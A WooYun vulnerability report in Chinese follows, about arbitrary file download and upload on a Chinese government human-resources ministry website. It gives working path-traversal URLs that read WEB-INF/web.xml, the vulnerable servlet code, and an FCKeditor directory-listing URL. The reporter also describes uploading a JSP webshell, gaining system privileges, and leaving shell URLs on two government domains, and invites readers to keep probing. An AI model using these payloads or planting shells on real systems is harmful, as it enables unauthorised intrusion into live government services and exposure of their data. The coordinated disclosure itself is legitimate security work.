漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-010563
漏洞标题:人力资源部某站任意文件下载/上传
相关厂商:人力资源部
漏洞作者: possible
提交时间:2012-08-06 10:49
修复时间:2012-09-20 10:50
公开时间:2012-09-20 10:50
漏洞类型:任意文件遍历/下载
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-08-06: 细节已通知厂商并且等待厂商处理中
2012-08-06: 厂商已经确认,细节仅向厂商公开
2012-08-16: 细节向核心白帽子及相关领域专家公开
2012-08-26: 细节向普通白帽子公开
2012-09-05: 细节向实习白帽子公开
2012-09-20: 细节向公众公开
简要描述:
人力资源部某站任意文件下载/上传
详细说明:
没有太多技术含量,一个下载点获得站点配置信息
原请求:
http://www.mohrss.gov.cn/download?path=UserFiles/File/66dd5f26-8b7e-4d38-882d-147c50702604.doc
简单猜猜:
http://www.mohrss.gov.cn/download?path=WEB-INF/web.xml
失败了
http://www.mohrss.gov.cn/download?path=UserFiles/File/aa/../66dd5f26-8b7e-4d38-882d-147c50702604.doc
成功了,说明治标不治本的限制
很容易猜到
http://www.mohrss.gov.cn/download?path=UserFiles/../WEB-INF/web.xml
可以下载了.
对应后台代码如下:
public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
PrintWriter out = null;
try {
String path = request.getParameter("path");
if ((path == null) || ("".equalsIgnoreCase(path)))
return;
String path;
if (path.toLowerCase().contains("UserFiles".toLowerCase())) { //这个限制有点扯淡
String pathString =
GlobalDownload.GetPropertyValue("downloadpath");
String tempPath = Global.SERVER_ROOT_PATH + "/" + path;
if (!FileOperator.FileIsExists(tempPath)) { //如果本服务器不存在文件
SynchronizeFiles.synchronizeFile(pathString + "/" + path, //则远程同步文件
tempPath);
}
download(path, request, response);
} else if (path.toUpperCase().contains("WEB-INF")) {
out = response.getWriter();
response.setCharacterEncoding("GBK");
String ckeditorCallBack = "<script type=\"text/javascript\">while(true)(alert('Hello, please click on the download!'));</script>";
out.println(ckeditorCallBack);
out.flush();
}
}
catch (Exception e) {
e.printStackTrace();
} finally {
if (out != null)
out.close();
}
}
在web.xml中找到fck路径:
列目录:
http://www.mohrss.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/../../
具体利用就不说了,大家都懂的...
总的来说这个站做的还是不错的,如果不是这点小问题想直接渗透还是挺不容易的,我猜的.而且管理员也挺勤快
shell一天就给删了,可惜管理员不是搞安全的不知道根源在哪里!
什么也没干,简单路过,未动任何东西,留下shell证明危害很大,系统权限
http://www.mohrss.gov.cn/UserFiles/Image/shell.jsp
或许可以渗透内网...(不知道)就到这吧
顺便说一下,这个http://www.12333.gov.cn/shell.jsp 貌似一套源码,也许人力资源部都用这一套东西
不继续看了,自己找找吧.
漏洞证明:
略
修复方案:
修改fck
版权声明:转载请注明来源 possible@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2012-08-06 13:26
厂商回复:
CNVD确认漏洞情况,作为紧急事件上报国务院某信息安全协调机构处置。
按完全影响机密性、完整性,部分影响可用性进行评分,rank=9.67*1.0*2.0=19.34
最新状态:
暂无